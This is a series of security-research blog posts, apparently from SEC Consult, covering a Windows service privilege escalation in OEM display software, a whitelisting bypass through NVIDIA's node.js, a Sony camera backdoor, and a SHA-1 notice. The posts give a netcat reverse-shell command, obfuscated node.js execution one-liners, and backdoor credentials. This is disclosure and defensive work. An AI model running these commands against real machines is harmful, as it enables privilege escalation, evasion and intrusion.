Tuesday, April 25, 2017

What unites HP, Philips and Fujitsu? One service and millions of vulnerable devices.

Yet another windows service privilege escalation?

During Windows client audits, it is quite common to try to find a way to escalate privileges in first place, to widen the attack surface and prepare for more sophisticated attacks (lateral movement, privilege escalation, rise and repeat). Besides known exploits in various kinds of software, it is always interesting to check for the low hanging fruits on the privilege escalation tree. Those sweet fruits include weak file- and folder permissions, unquoted service paths, or as described in this blogpost, weak service permissions, which can all lead to privilege escalation on Windows machines.

Those low hanging fruits appear on a regular basis in the life of a penetration tester and they are normally not that sophisticated from a technical perspective.

The identified vulnerable Windows service, is pre-installed on millions of laptops disguised as branded bloatware*. This changes a lot! Particularly due to the fact that the privilege escalation is now not limited to a single misconfigured device in a random company environment anymore.

* The [...] term bloatware is also commonly used to refer to preinstalled software on a device, usually included by the hardware manufacturer, that is mostly unwanted by the purchaser.

Bloatware, a common Cinderella Subject

Bloatware are those pieces of software, which are pre-installed on all your devices and nobody really makes use of them. Depending on the hardware vendor, some ship with a lot of bloatware and some try to keep their devices clean. But there is one thing, which have most of those pre-installed pieces of software in common, they are not self developed by the hardware vendor, but rather acquired from 3rd parties and as everybody should know it is very important to test self-developed as well as externally developed programs before going live. It is also very important that already at the point of the assignment of the application the security requirements have to be declared bindingly to the contractor. Before going live the contractor has to be obligated to supply a test installation of the system, which can undergo a security related approval test, conducted by security experts.

The past has already shown us, that such 3rd party bloatware acquired by OEM's is treated like a orphaned child and at best reviewed and tested by security experts fragmentary, or in the worst case the software gets rolled out without a proper security review at all. [1] [2] [3] 

A virtual on screen display, that can't be dangerous, right... RIGHT?

The vulnerability, described in this blogpost, was found in a core module of a so called virtual on screen display (vOSD). The purpose of a virtual on screen display is to replace the hardware adjustment buttons on screens, notebooks, smartphones and other kinds of displays. This should allow an user to quickly manage certain screen parameters (e.g. Rotation, Alignment, Color Values, Gamma values, Color temperature, Color saturation, Brightness, etc) with a simple piece of software, instead of struggling around with the hardware buttons on the display.

Portrait Displays Inc., the company responsible for developing the vulnerable software, describes their product as follows:

To get the most out of your display, it is important to set it up properly for your particular room lightning, display placement, and vision. Using the buttons on the edge of the display can be confusing, if not difficult.
Display Tune's OSD Enhancement takes all of the display's button functions and transfers them to the screen, where simple buttons and sliders make screen adjustments a breeze.

That doesn't sound too dangerous right? Changing the colors of a display is nothing what an attacker can use to attack a single PC, or a whole company environment. That's probably exactly what some big OEM's thought as well, while acquiring the vulnerable software. May he be shamed who thinks badly of it.


The exploitation itself is not too special, so nothing new to see here. For the sake of completeness, the way how the vulnerability was discovered and exploited is described below.

To identify the vulnerable Portrait Display SDK service, which is packaged by Portrait Display Inc. for various OEM's as a core package for virtual on screen displays, the permissions of the Portrait Display SDK service were retrieved with the built-in Windows command "sc". The output of the command for the vulnerable service can be seen below:






By "converting"[4] [5] the Security Descriptor Definition Language into human readable words, it is possible to identify the following permissions for the PdiService:

RW NT AUTHORITY\Authenticated Users


RW BUILTIN\Administrators



Due to the fact, that every authenticated user has write access on the service, an attacker is able to execute arbitrary code by changing the services binary path. Moreover, the Pdiservice is executed with SYSTEM permissions, resulting in privilege escalation.

The workflow to execute arbitrary code with elevated SYSTEM privileges is as follows:

1) Stop Service

sc stop pdiservice

2) Alter service binary path

sc config pdiservice binpath= "C:\nc.exe -nv $IP $PORT -e C:\WINDOWS\System32\cmd.exe"

3) Start Service

sc start pdiservice

4) Profit

The possibilities are endless, other useful payloads are the creation of new users, adding users to groups, changing privileges etc. All of the commands are executed with SYSTEM privileges.

The above commands were executed by the "sectester" user who doesn't have administrative privileges (it's a low privileged standard user). As the last figure shows, the user successfully escalated his privileges to SYSTEM.

One service to rule them all

One interesting fact is that this is not happening for the first time that pre-shipped bloatware has built-in vulnerabilities, or "undocumented features"[1] [2] [3]
It is quite juicy to observe, that companies selling millions of notebooks, PCs and convertibles simply do not care (enough) about security. The affected companies do have a net worth of multiple billions, but they do not have a few thousand euros/dollars/yen to conduct a proper security review on the software and services, they are acquiring from 3rd parties. This vulnerability would have been identified immediately in a thorough security review of the application/service if an audit would have been conducted by security experts before shipping devices with this software. Even automated vulnerability scans would detect such weak service permissions [6] [7].

But it seems that the problem is not limited to this service described in this blogpost. A lot of other services from big players are affected as well, the problem is that those vulnerabilities are most of the time downplayed or even ignored (e.g Dell's DellRctlService [8], or the Lansweeper Service [9] are/were affected from the exact same vulnerability but no one really noticed and the problem itself was downplayed).


There are two ways to get rid of the vulnerability.

Vendor Patch

The vendor provided a patch for the vulnerable software on their website: http://www.portrait.com/securityupdate.html


To quickly get rid of the vulnerability, the permissions of the service can be altered with the built-in windows command "sc".
To completely remove the permissions of the "Authenticated Users" group, the following command can be used:

This results in the following set of permissions:

RW BUILTIN\Administrators

Affected Vendors/Software

The vendor confirmed that at least the following binaries are vulnerable

Fujitsu DisplayView Click Version 6.0

build id: dtune-fts-R2014-04-22-1630-07,6.01
build id: dtune-fts-R2014-05-13-1436-35
The issue was fixed in Version 6.3 build id: dtune-fts-R2016-03-07-1133-51

Fujitsu DisplayView Click Suite Version 5

build id: dtune-fus-R2012-09-26-1056-32
The issue is addressed by patch in Version 5.9 build id: dtune-fus-R2017-04-01-1212-32

HP Display Assistant Version 2.1

build id: dtune-hwp-R2012-10-31-1329-38
The issue was fixed in Version 2.11 build id: dtune-hwp-R2013-10-11-1504-22 and above

HP My Display Version 2.01

build id: dtune-hpc-R2013-01-10-1507-17
The issue was fixed in Version 2.1 build id: dtune-hpc-R2014-06-27-1655-15 and above

Philips Smart Control Premium Versions with issue: 2.23

build id: dtune-plp-R2013-08-12-1215-13, 2.25
build id: dtune-plp-R2014-08-29-1016-05
The issue was fixed in Version 2.26 build id: dtune-plp-R2014-11-14-1813-07

The following pieces of software are using the Portrait Displays SDK Service, SEC Consult did not evaluate if those packages are vulnerable as well:

-) Fujitsu DisplayView Click v5
-) Fujitsu DisplayView Click v6

Final Words

In the end, we want to thank Portrait Displays Inc. for resolving the issue in a professional way and responding regularly by providing continuous updates about the current state of the patch, as well as realizing that this vulnerability is critical instead of playing it down like other vendors have done in the past [8][9]. This is crucial for a well working responsible disclosure process. Please review the vendor communication timeline for more details [10].

We would also like to thank CERT/CC for setting up the encrypted communication channel between Portrait Displays Inc, as well as providing a CVE (CVE-2017-3210) and a CERT VU (http://www.kb.cert.org/vuls).

This research was done by Werner Schober on behalf of SEC Consult Vulnerability Lab. SEC Consult is always searching for talented security professionals to work in our team. More information can be found at: https://sec-consult.com/en/Career.htm


[1] https://duo.com/blog/out-of-box-exploitation-a-security-analysis-of-oem-updaters

[2] https://www.kb.cert.org/vuls/id/294607

[3] https://forums.lenovo.com/t5/Security-Malware/Potentially-Unwanted-Program-Superfish-VisualDiscovery/m-p/1860408#M1697
[4] https://msdn.microsoft.com/en-us/library/windows/desktop/aa379567(v=vs.85).aspx

[5] https://msdn.microsoft.com/en-us/library/windows/desktop/aa379570(v=vs.85).aspx

[6] https://www.tenable.com/plugins/index.php?view=single&id=65057

[7] https://github.com/PowerShellMafia/PowerSploit/tree/dev/Privesc

[8] http://en.community.dell.com/support-forums/software-os/f/4997/t/19992760

[9] https://www.lansweeper.com/forum/yaf_postst7658_ACL-on-Lansweeper-Service-Folder--import-folder.aspx#post32119

[10] https://sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20170425-0_Portrait_Displays_SDK_Privilege_Escalation_v10.txt 

Thursday, April 20, 2017

Abusing NVIDIA's node.js to bypass application whitelisting

Application Whitelisting

Application whitelisting is an important security concept which can be found in many environments during penetration testing. The basic idea is to create a whitelist of allowed applications and after that only allow the execution of applications which can be found in that whitelist. This prevents the execution of dropped malware and increases therefore the overall security of the system and network.

A very commonly used solution for application whitelisting is Microsoft AppLocker. Another concept is to enforce code and script integrity via signatures. This can be achieved on Microsoft Windows 10 or Server 2016 with Microsoft Device Guard.

SEC Consult Vulnerability Lab is doing research in this area since several years, bypass techniques were already presented in 2015 and 2016 at conferences such as CanSecWest, DeepSec, Hacktivity, BSides Vienna and IT-SeCX, see [1].

Knowing these bypass techniques is really important for administrators who maintain such protected environments because special rules must be applied to prevent these attacks.

Other good and recommended sources of known bypass techniques and hardening guides are blog posts from Casey Smith (subtee) [2], Matt Nelson (enigma0x3) [3] and Matt Graeber (mattifestation) [4].

NVIDIA's node.js

During a quick research in a different area, I came across a system which had NVIDIA drivers installed. The following executable gets installed by NVIDIA:

%ProgramFiles(x86)%\NVIDIA Corporation\NvNode\NVIDIA Web Helper.exe
This is a renamed version of node.js (but signed by NVIDIA Corporation) which can be verified via the meta data of the file:

That means we can find node.js on systems with NVIDIA drivers installed. Since this file is already on the system and it has a valid signature, it will be whitelisted by the application whitelisting solution.

Nowadays, the most common technique to bypass application whitelisting is to start PowerShell, because the target code can be passed inside arguments, it has full access to the Windows API, it is a signed binary from Microsoft and it can be found on all newer systems. However, it’s the first binary which gets removed from the whitelist by administrators, PowerShell v5 provides very good logging (attack detection and forensic), Device Guard UMCI (user mode code integrity) places PowerShell in Constrained Language mode and Antivirus solutions monitor malicious invocations of PowerShell.

Nearly similar PowerShell advantages can be achieved by abusing node.js from NVIDIA if the target system has these drivers installed. It can be started in interactive mode which means that scripts can be passed via pipe (payloads are not written to disk). For example, the following command starts the calculator via node.js:

echo require('child_process').exec("calc.exe") | "%ProgramFiles(x86)%\NVIDIA Corporation\NvNode\NVIDIA Web Helper.exe" -i 

From attacker perspective, this opens two possibilities. Either use node.js to directly interact with the Windows API (e.g. to disable application whitelisting or reflectively load an executable into the node.js process to run the malicious binary on behalf of the signed process) or to write the complete malware with node.js. Both options have the advantage, that the running process is signed and therefore bypasses anti-virus systems (reputation-based algorithms) per default.

Writing malware completely in node.js has the great side-affect, that NVIDIA already installs addons with useful functions such as:
  • WebcamEnable (NvSpCapsAPINode.node) 
  • ManualRecordEnable (NvSpCapsAPINode.node) 
  • GetDesktopCaptureSupport (NvSpCapsAPINode.node) 
  • SetMicSettings (NvSpCapsAPINode.node) 
  • RecordingPaths (NvSpCapsAPINode.node) 
  • CaptureScreenshot (NvCameraAPINode.node) 
However, to get the full power of the Windows API, we can write addons in C/C++ for node.js:

Node.js Addons are dynamically-linked shared objects, written in C or C++, that can be loaded into Node.js using the require() function, and used just as if they were an ordinary Node.js module. They are used primarily to provide an interface between JavaScript running in Node.js and C/C++ libraries. [5]

That means node.js has full access to the Microsoft Windows API and reflective DLL injection is possible.

To load such an Addon the path to the .node file must be passed to the require() function. Node files are normal PE files with some special exported functions, but it’s also possible to load any .dll file with one of the below code lines (an error will be thrown but DllMain gets executed):


A drawback of the reflective DLL injection attack is that it requires one file write because as far as of my knowledge node.js doesn’t support execution of modules from memory (or to directly access the Windows API). It’s therefore required to drop one loader-module to disk, then load this module which acts as a wrapper for the Windows API. Using the dropped module, the script can then access the Windows API and reflectively load any executable / library into the signed node.js process (similar concept to Invoke-ReflectivePEInjection.ps1 from PowerSploit, see [6]).

Please note, that the above approach drops one file to disk, however, this is only a legit node.js module. The real malware can afterwards be loaded via the loader-module from memory and is therefore never written to disk.

The file can be dropped to the following location which is writeable by standard users:

%systemdrive%\ProgramData\NVIDIA Corporation\Downloader\
Overcoming the “issue” of the one-file-write is not trivial. It’s not really a big problem (e.g. the dropped file is not malicious and will not be detected by an AntiVirus solution), however, it could block execution in some cases (e.g. DLL AppLocker rules). Such DLL rules can be bypassed in several ways depending on the used product and configuration. For example, it's possible to abuse AppLocker default rules which allow execution of all files in %windir%/*. Therefore, an attacker can drop his node module to the writeable tasks folder:

There are many similar writeable locations inside the %windir% folder. Let's assume that an administrator deny all these writeable locations by adding exclude rules for them. Is the system now secure?

The answer is NO because ADS can be abused. Since we can create a sub-folder in %windir%\tracing, we can create an ADS on the folder (for an explanation on ADS see Alex Inführ's blog post [7]). This can be used to bypass additional restrictions / monitoring rules. Let’s say we drop the following file:

All common APIs return as base folder %windir% and not %windir%\tracing which lets the module look like a file from the normal windows folder (however, a normal user does not have write permissions to %windir% ! ). 

This trick is already known and was described by James Forshaw on a different subject (unfortunately, I didn’t found the original post from him on it but in general all his posts are highly recommended).

What does that mean? Even if an administrator added additional exclude rules to the default rules to block writeable folders, we can still bypass AppLocker with the ADS.

The following figure shows this (AppLocker is configured to prevent C:\Windows\tracing\* and several other writeable locations): 

Here Microsoft's control.exe is used to load the library, however, it can also be loaded via node js (and using the fs-module it's possible to create the ADS).

Another possibility is to overwrite an existing library if application whitelisting was configured only based on paths (because of updates).

Here are some additional methods which I tried to avoide the file write at all:

Some methods which I tried for in-memory files 

UNC paths:

The code first tries to load the addon via SMB (port 445) and use WebDav (port 80) as fall-back. Since outgoing SMB traffic is in most environments forbidden, it would be good to directly access the data via WebDav (and it’s possible to create a WebDav server in JavaScript with node.js, but then firewall problems can occur). This is possible via paths such as the following two:


A good explanation why these paths work can be found at [8].

However, both path formats are not allowed inside node.js (the code later calls lstat which throws a file not found exception). Moreover, Microsoft internally writes the file to %localappdata%, making the approach useless to achieve file-less exploitation.

Another idea was to abuse named pipes which can be created with node.js code, however, named pipes are not seekable and therefore LoadLibrary() / require() fail.

Calling CreateFile with FILE_ATTRIBUTE_TEMPORARY and FILE_FLAG_DELETE_ON_CLOSE creates in most cases an in-memory file, however, node.js does not provide a way to pass these flags inside JavaScript code.

For people wondering why NVIDIA ships with node.js

At startup, NVIDIA starts a webserver via node.js (providing functionality like the above mentioned webcam control) on a randomized port. To protect against attacks a random secret cookie is created and must be passed to interact with the service. The information about the used port number and cookie value can be extracted from the following file:

%localappdata%\NVIDIA Corporation\NvNode\nodejs.json 


For red teamers, it’s the recommended approach to use the fs module from node.js to write a loader addon to disk which gives access to the Microsoft Windows API from JavaScript code. Then JavaScript code can be used to download the (encrypted) payload from the internet and with the Windows API the JavaScript code can reflectively load the payload into its own process space and execute it.

Node.js itself can be started via one of the public known techniques (see our slides at [1]), for example .chm, .lnk, .js, .jse, Java applets, macros, from an exploited process, pass-the-hash and so on.

Standard obfuscation tricks can be used to further hide the invocation. For example, the following code starts calc.exe but tries to further hide:

echo "outdated settings;set colors=";c=['\162\145\161\165\151\162\145','\143\150\151\154\144\137\160\162\157\143\145\163\163','\145\170\145\143','\143\141\154\143'];global[c[0]](c[1])[c[2]](c[3]);"; set specialChars='/*&^"|;"%ProgramFiles(x86)%\NVIDIA Corporation\NvNode\NVIDIA Web Helper.exe" -i

Such code can be used as persistence mechanism (auto start) because the called binary is signed by NVIDIA and will be considered as safe. Of course, additional anti-monitoring tricks such as ^ or %programdata:~0,-20% can be used somewhere inside the above command line to further prevent detection, however, such code is in my opinion traitorous.

For security consultants, it's recommended to search for node.js binaries (file size > 10 MB and binary contains Node.js strings) during client security audits to identify other vendors which ship node.js to clients.

For blue teamers, it’s recommended to remove the file from the whitelist (if possible) or at least monitor it’s invocation.

This research was done by René Freingruber (@ReneFreingruber) on behalf of SEC Consult Vulnerability Lab. SEC Consult is always searching for talented security professionals to work in our team. More information can be found at: https://sec-consult.com/en/Career.htm


[1] https://cansecwest.com/slides/2016/CSW2016_Freingruber_Bypassing_Application_Whitelisting.pdf

[2] http://subt0x10.blogspot.co.at/

[3] https://enigma0x3.net/

[4] http://www.exploit-monday.com

[5] https://nodejs.org/api/addons.html 

Wednesday, January 18, 2017

Last call to replace SHA-1 certificates

(c) iStock 629455088

All major browsers will stop accepting SHA-1 certificates in January/February. An average user will then not be able to distinguish between an invalid certificate (e.g. a certificate from an attacker) and a valid certificate that is using a SHA-1 hash. Effectively, this means that Internet services that still use SHA-1 certificates will become unusable for a large portion of users within the next few weeks.

Specifically, the following dates apply for the major browsers:

Browser vendors have provided ways to still use SHA-1 certificates issued by an internal CA (often used for e.g. an internal services like webmail). However, this is a temporary measure as e.g. Google Chrome will finally remove support for SHA-1 latest in 2019.

The following Censys query demonstrates, that there are still many TLS services world-wide that are affected by this. The query includes all HTTPS services with certificates that are a) not expired, b) that would otherwise be trusted by browsers and c) are signed using the SHA-1 hash algorithm:

Source: censys.io

Is this necessary?

By disabling the trust for SHA-1 certificates, browser vendors try to prevent a situation similar to what was happening in 2008. Well before 2008, is was commonly known that the MD5 hash algorithm exhibits serious weaknesses. Despite that fact, many certificate authorities issued MD5 certificates and major browsers accepted them. The attacks against MD5 have continuously improved over the years until in 2008, a group of researchers used the weaknesses in MD5 to successfully forge a certificate. Using this certificate, the researchers were able to issue arbitrary certificates for any service on the Internet. We know now that any criminal organisation that also conducted the same research and implemented a similar attack could have successfully intercepted arbitrary TLS connections (e.g. HTTPS) on the Internet.

There are many parallels between the situation then and the situation we now have with SHA-1. The first weaknesses in SHA-1 have been published in 2005. Since then, the attacks on weaknesses in SHA-1 have continuously been improved. In 2015 researchers estimated, that finding a collision in SHA-1 would cost between 75,000 $ and 120,000 $. A collision does not necessarily allow for a practical attack, being able to find a collision severely undermines the security of SHA-1. It is very hard to estimate how long it will take to be able to advance the current attacks to successfully forge a certificate. Moreover, it is possible that organisations outside of the academia already have knowledge of even more advanced attacks against SHA-1.

Therefore, it is necessary for browser vendors to disallow the use of SHA-1 certificates now, before we are in a situation similar to the situation in 2008. Google even goes so far as to warn against "the imminent possibility of attacks that could directly impact the integrity of the Web PKI".

The abandonment of the SHA-1 hash algorithm also affects code signing certificates. Although Windows code signing certificates with SHA-1 signatures can still be obtained, Certificate Authorities would probably be forced to revoke all SHA-1 certificates once a practical attack is known. This especially affects versions of Microsoft Windows that do not support any other hash algorithm for code signing (i.e. legacy Windows versions such as XP SP3, Windows Server 2008 and Windows Vista).


As a countermeasure we recommend to immediately replace affected certificates!

If the certificates are not replaced by 2017-02-14 (for IE11 / Edge at least, or even earlier for other browsers), a large portion of the users will not be able to access the affected services.

To test whether your Internet services are affected by this issue and other issues in the TLS configuration, SSLLabs provides a very useful tool that can be found here.

Tuesday, December 6, 2016

Backdoor in Sony IPELA Engine IP Cameras

SEC Consult has found a backdoor in Sony IPELA Engine IP Cameras, mainly used professionally by enterprises and authorities. This backdoor allows an attacker to run arbitrary code on the affected IP cameras. An attacker can use cameras to take a foothold in a network and launch further attacks, disrupt camera functionality, send manipulated images/video, add cameras into a Mirai-like botnet or to just simply spy on you. This vulnerability affects 80 different Sony camera models. Sony was informed by SEC Consult about the vulnerability and has since released updated firmware for the affected models.

Further information about the backdoor, disclosure timeline, affected devices and updated firmware can be found in our advisory. This blog post has some highlights from the vulnerability analysis.

This advisory is the result of research that started by uploading a recent firmware update file from a Sony camera into our cloud based firmware analysis system IoT Inspector.

After a few minutes the analysis results were available. One result immediately caught our attention:

Excerpt from IoT Inspector results

So here we have two password hashes, one is for the user admin and was cracked immediately. The password is admin. This is no surprise as the default login credentials are admin:admin.

The second password hash is much more interesting, it’s for the user root and it was found in two different files: /etc/init.d/SXX_directory and /usr/local/lib/libg5_usermanage.so.0.0.0

We can use the file system browser of IoT Inspector to have a look at the SXX_directory.

Excerpt from IoT Inspector filesystem browser

It looks like this startup script (called by /sbin/init/rcS during boot) is responsible for creating and populating the file /tmp/etc/passwd (/etc/passwd is a symlink to this file). A line for the user including a password hash is added, the shell is /bin/sh. Not good!

So, what can we do if we can crack the hash? At this point we can assume that it's very likely we can login using UART pins on the PCB. This of course requires us to have physical access and to disassemble the device.

The other locations where we could possibly use the password are Telnet and SSH, but both services are not available on the device … or are they? A quick string search in the firmware's filesystem for “telnet” shows that a CGI binary called prima-factory.cgi contains this string a few times. IDA Pro to the rescue! It seems this CGI has the power to do something with Telnet:

The code in g5::cgifactory::factorySetTelnet() (in decompiled form below) is pretty straight forward. Based on input, the inetd daemon is killed or started:

The inetd daemon gets its configuration from /etc/inetd.conf and inetd.conf is set up to launch Telnet

So how can we reach this CGI functionality? The answer lies in the lighttpd binary. Lighttpd is an open source web server that was modified by Sony. Some custom code for HTTP request handling and authentication was added. Below is an excerpt from a data structure that maps the URI /command/prima-factory.cgi to the CGI in the file system. The authentication function is HandleFactory.

HandleFactory decodes the HTTP Basic Authentication header and compares it to the username/password primana:primana.

Now we have all ingredients to craft an attack that looks like this:

  1. Send HTTP requests to /command/prima-factory.cgi containing the “secret” request values cPoq2fi4cFk and zKw2hEr9 and use primana:primana for HTTP authentication. This starts the Telnet service on the device.
  2. Login using the cracked root credentials via Telnet. Note: We have not cracked the root password, but it's only a matter of time until someone will.

The user primana has access to other functionality intended for device testing or factory calibration(?). There is another user named debug with the password popeyeConnection that has access to other CGI functionality we didn't analyze further.

We believe that this backdoor was introduced by Sony developers on purpose (maybe as a way to debug the device during development or factory functional testing) and not an "unauthorized third party" like in other cases (e.g. the Juniper ScreenOS Backdoor, CVE-2015-7755).

We have asked Sony some questions regarding the nature of the backdoor, intended purpose, when it was introduced and how it was fixed, but they did not answer.

For further information regarding affected devices and patched firmware, see our advisoryIoT Inspector now comes with a plugin that detects this vulnerability.

Wednesday, November 30, 2016

SEC Business Breakfast: “Nothing works without data processing!”

8 Things to Know About the GDPR

Deutsche Zusammenfassung unten.

Brace yourselves, the EU general data protection regulation (GDPR) is coming. 

And companies only have around 500 days left to prepare all of the necessary data security and data privacy measures. Enough time? Just, if you start right away with an own project, said SEC Consult General Manager Markus Robin and data privacy expert Dr. Rainer Knyrim at the SEC Consult Business Breakfast on November 16, 2016 in Vienna. Both experts explained, what to know about the new regulation and which steps to take, to be “data-ready” when the law comes into force with May 2018.

Around 50 guests out of economy, finance and public service joined the SEC Business Breakfast to inform themselves about the upcoming EU general data protection regulation. Sooner, heavier and more serious than expected was the audience tenor. Companies must meet organizational and technical protection measures in the areas of privacy and data security - proven and documented. While the topic is complicated and by far more complex than two hours could ever bear (we still tried to in one previous blogpost), Markus Robin as well as Dr. Rainer Knyrim broke down the most important things to know: 

1. No one is excepted

No matter which sector, size or state – if data from EU-citizens are processed, companies will fall under the legal specifications of the GDPR. Even considering employee data. Important is to categorize all of the data for an overview and a meaningful risk analysis.

2. Two year realisation period

The EU general data-protection-regulation is part of the EU data privacy reform and came into force on May 24, 2016. In exactly two years or better said May 25, 2018 all affected companies and their applications need to prove and document organizational and technical protection measures regarding personal data.

3. Special categories of data – we all have them

By definition, sensitive data occur when facts about religion, health, sexuality or other very personal information are stored. So even if you’re not a health institute, you probably still collect data from your employee’s sick leaves, making it already sensitive data in your company.

4. From 10k to 10 Million Euro

If 10k didn’t hurt, probably 10 Million Euro will do. The penalty for not fulfilling the necessary measures will be determined by the realised preparations, but however can lead up to 20 Million Euro or four percent of the prior-year-sales. With that, the new penalty height is no joke and corresponds to several annual IT-budgets.

5. Policies and Compliance for service providers

Companies need to make sure, that their whole service chain follows the rules of the data-protection-regulation. Current and coming supplier contracts must be based on own data processing contracts – otherwise it could lead to complicity in case of abuse or lost proposals.

6. Workshops, Workshops, Workshops

The best security measures won’t be enough, if employees are not sensitized for data privacy and security. Regular workshops can help to prevent data leaks or abuse caused by unawareness / human error. Because “fake president frauds” and other easily done phishing mails alone offer enough space for crucial mistakes.

7. Everything must be documented

“Yeah, we’ve done everything we could” won’t be enough when it comes to prove all of the preparations a company took in regard to the GDPR. Everything should be documented – spreadsheets, data directories or, for example, even lists of the time and date of penetration tests, employee trainings or information mailings.

8. Sampling inspections are already held

Bad news for companies, who still believe that there is enough time left: Responsible authorities already started with sampling inspections. Of course, penalties are currently very low, but early preparations could provide examined companies with a good standing in front of state officials.

Given the short realisation period of now a mere 500 days, Markus Robin and Dr. Rainer Knyrim recommend: 

Start a Risk Analysis and Prepare an Implementation Plan – NOW!

Companies should start to deal with the new organizational and technical legal requirements as soon as possible. First to budget possible financial investments and second to have enough time for the implementation. "The very first step needs to be a comprehensive analysis. What kind of personal data do you have and how are they classified? How high is the risk? Which protection measures are already implemented? Using these answers, we are able to derive necessary actions", says Markus Robin.

Find an Implementation-Partner 

"The new penalty height corresponds to several annual IT-budgets - negligence can't be settled out of the petty cash anymore. For a gapless implementation of the needed requirements companies should find legal and security assistance from experts", Dr. Knyrim advices. SEC Consult itself works closely with lawyers and offers comprehensive consultation next to informative risk analysis as well as implementation of security measures.

Join the next SEC Business Breakfast to be updated about cyber security issues and REGISTER NOW

About the SEC Business Breakfast
SEC Business Breakfast is a networking series by SEC Consult about actual cyber security topics that addresses chief information officers. A casual environment with delicious breakfast provides space for networking and discussions but also insights and recommendation from security experts.


SEC Business Breakfast: "Nichts funktioniert ohne Datenverarbeitung!"

Bereitet euch vor, die EU-Datenschutz-Grundverordnung (EU-DS-GVO) kommt.

Und Unternehmen bleiben nur noch rund 500 Tage, um die notwendigen Datenschutz- und Datensicherheits-Maßnahmen umzusetzen. Genug Zeit? Nur, wenn man gleich damit anfängt und dafür ein eigenes Projekt ins Leben ruft, meinen SEC Consult General Manager Markus Robin und Datenschutzexperte Dr. Rainer Knyrim. Im Rahmen des SEC Consult Business Breakfast am 16. November in Wien erklärten die beiden Experten in wenigen Schritten, was es über die neue Verordnung zu wissen gibt und was es braucht, um mit Inkrafttreten des Gesetzes im April 2018 „data-fit“ zu sein.

Weitere Infos zur EU-DS-GVO finden Sie hier.

Nutzen Sie die Gelegenheit um mehr über aktuelle, sicherheitsrelevante Themen zu erfahren und sich mit unseren Experten vor Ort auszutauschen. MELDEN SIE SICH JEZT AN

Tuesday, October 4, 2016

SEC Business Breakfast: The Future and Value of Penetration Tests

Deutsche Zusammenfassung unten.

The good ol’ pen tests: well-known system evaluation, but also valid documentation in light of the EU general data protection regulation (EU-DS-GVO)? At the past SEC Business Breakfast on September 23 in Vienna, General Manager Markus Robin explained, how penetration tests will need to change to provide companies with truly relevant information – as well as legal protection.

(c) Corporate Identity Prihoda 2016
Penetration testing has been a proven method to evaluate system’s durability since early 1967. While all of the attendants of the SEC Business Breakfast already use penetration tests, Markus Robin claimed three critical key points as relevant changes for the future of pen tests in companies: 

Frequence and Scenario-Cases Are Crucial

“We will know when we’re under attack.” That’s an argument Markus Robin hears often enough regarding the frequency of pen tests. “If you just realise it then, it’s too late. Waiting is not a wise and efficient measure, especially with regard to compliance regulations”, Robin sums it up. Penetration tests should be performed periodically: ideally, more than once a year and with concrete attack-scenarios in mind – considering new attack-vectors and ongoing technical innovations. To give another example, DDoS benchmark tests should be done quarterly.

Bringing Knives to a Gunfight: Equality of Arms

Facing APTs and professional cyber criminals it’s clear that penetration tests can’t run completely by themselves, even though most of them do. It’s about equality of arms, as Robin said: “Many companies use automatic tests, but it should be around 20 % automation, 80 % brain. You need people who can interpret the results, otherwise the report won’t be as meaningful as it could be.” Companies should consider appointing own experts to be able to react as soon as possible in case of anomalies.

Leading Organisations Demand Documentation

“Companies learned that security is an issue that needs to be considered from end-to-end”, said Markus Robin. Not only do companies demand documentation about set security measures from their partners or suppliers increasingly, but the legislation as well: The EU-wide data protection regulation comes into effect on 25 May 2018 and will put everyone under documentation duty. “Penetration tests can’t be the only form of documentation, that’s for sure. But it’s going to be an important evidence in question of data security and protection”, highlights Robin the upcoming added value.

Join the next SEC Business Breakfast to be updated about cyber security issues & to discuss with the SEC Consult Experts on site. Upcoming topic: EU Data Protection Regulation and its effects on your business - REGISTER NOW!

About the SEC Business Breakfast

SEC Business Breakfast is a networking series by SEC Consult about actual cyber security topics that addresses chief information officers. A casual environment with delicious breakfast provides space for networking and discussions but also insights and tips from security experts.


SEC Business Breakfast: Die Zukunft & der Wert von Penetration Tests

Die guten alten Penetration Tests: bewährte System-Beurteilung vor DDoS-Attacken, aber auch valider Nachweis im Rahmen der EU-Datenschutz-Grundverordnung (EU-DS-GVO)? Beim vergangenen SEC Business Breakfast am 23. September in Wien erklärte General Manager Markus Robin, wie sich Penetration Tests ändern müssen, um Unternehmen künftig mit wirklich aussagekräftigen Informationen zu versorgen und gleichzeitig als rechtliche Absicherung zu dienen.

Nutzen Sie die Gelegenheit um mehr über aktuelle, sicherheitsrelevante Themen zu erfahren und sich mit unseren Experten vor Ort auszutauschen. Unser nächsetes Thema: EU Datenschutzgrundverordnung und Ihre Auswirkungen auf Ihr Unternehmen - MELDEN SIE SICH JEZT AN!

Thursday, September 22, 2016

Controlling Kerio Control – When your firewall turns against you.


This blog post describes two different attacks which can be used to compromise companies which use Kerio Control in their network. Kerio Control is a hardware appliance which can be used as network firewall, router and VPN gateway. Both attacks spawn a reverse shell on Kerio Control. Since both attack payloads are delivered via CSRF (cross site request forgery) or XSS (cross site scripting) no ports must be open from the Internet.

About the vendor: “Protect your network from viruses, malware and malicious activity with Kerio Control, the easy-to-administer yet powerful all-in-one security solution. Kerio Control brings together next-generation firewall capabilities - including a network firewall and router, intrusion detection and prevention (IPS), gateway anti-virus, VPN, and web content and application filtering.”

Source: http://www.kerio.com/products/kerio-control

The following figure shows an example network of the attack scenario:

The attacker doesn’t directly attack the firewall system, instead a victim is tricked to visit his website. The website includes malicious content (images, forms, JavaScript) which instruct the victim’s browser to send all requests from the internal network directly to Kerio Control. Because of this not a single port must be open from the Internet on Kerio Control.

Kerio Control implements weak protections against these types of attacks which can be bypassed easily. Multiple critical security vulnerabilities have been identified by René Freingruber and Raschin Tavakoli of SEC Consult, which are documented in our technical security advisory.

For instance, Kerio Control uses a 6-year-old PHP binary which contains a countless number of memory corruption vulnerabilities. For demonstration, we picked one such memory corruption bug and wrote an exploit for it. The exploit is delivered blind (the website can’t read responses from requests sent to the internal network because of SOP restrictions – same-origin-policy).
It’s also important to note that it’s possible to brute-force the internal Kerio Control credentials via the below described method, even if the system is not accessible from the Internet. This is achieved via a side channel and a normally minor information leak vulnerability. It is a very good example why also internal systems should be secured by strong credentials and seemingly minor security issues have to be fixed. 

